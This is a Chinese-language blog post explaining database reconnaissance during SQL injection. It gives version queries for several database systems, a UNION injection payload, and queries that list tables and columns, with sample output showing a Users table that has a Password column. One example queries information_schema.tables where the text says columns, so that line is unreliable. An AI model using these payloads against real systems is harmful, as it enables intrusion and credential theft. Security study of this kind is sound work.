SQL注入攻击中检查数据库

在利用SQL 注入漏洞时,通常需要收集有关数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库中包含的表和列的内容。

一、查询数据库类型和版本

不同的数据库提供了不同的查询版本的方法。需要尝试不同的查询以找到一个有效的查询,从而确定数据库软件的类型和版本。

确定一些流行数据库类型的数据库版本的查询如下:

数据库类型 Query
微软、MySQL SELECT @@version
甲骨文 SELECT * FROM v$version
PostgreSQL SELECT version()
Oracle

SELECT banner FROM v$version

例如,可以将攻击与以下输入一起使用:UNION

' union select @@version--

二、列出数据库的内容

大多数数据库类型(Oracle 除外)都有一组称为信息模式的视图,它提供有关数据库的信息。

可以查询information_schema.tables以列出数据库中的表:

select * from information_schema.tables

 这将返回如下输出:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE

然后,您可以查询information_schema.columns以列出各个表中的列:

select * from information_schema.tables where table_name = 'Users'

这将返回如下输出:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar

此输出显示指定表中的列以及每列的数据类型。

三、Oracle上的信息模式

在 Oracle 上,您可以通过略有不同的查询获取相同的信息。

可以通过查询下列方式列出表:all_tables

select * from all_tables

可以通过查询下列内容列出列:all_tab_columns

select * from all_tab_columns where table_name = 'USERS'

 

posted @ 2023-05-06 10:03  北蒙岛的cozyDay  阅读(116)  评论(0编辑  收藏  举报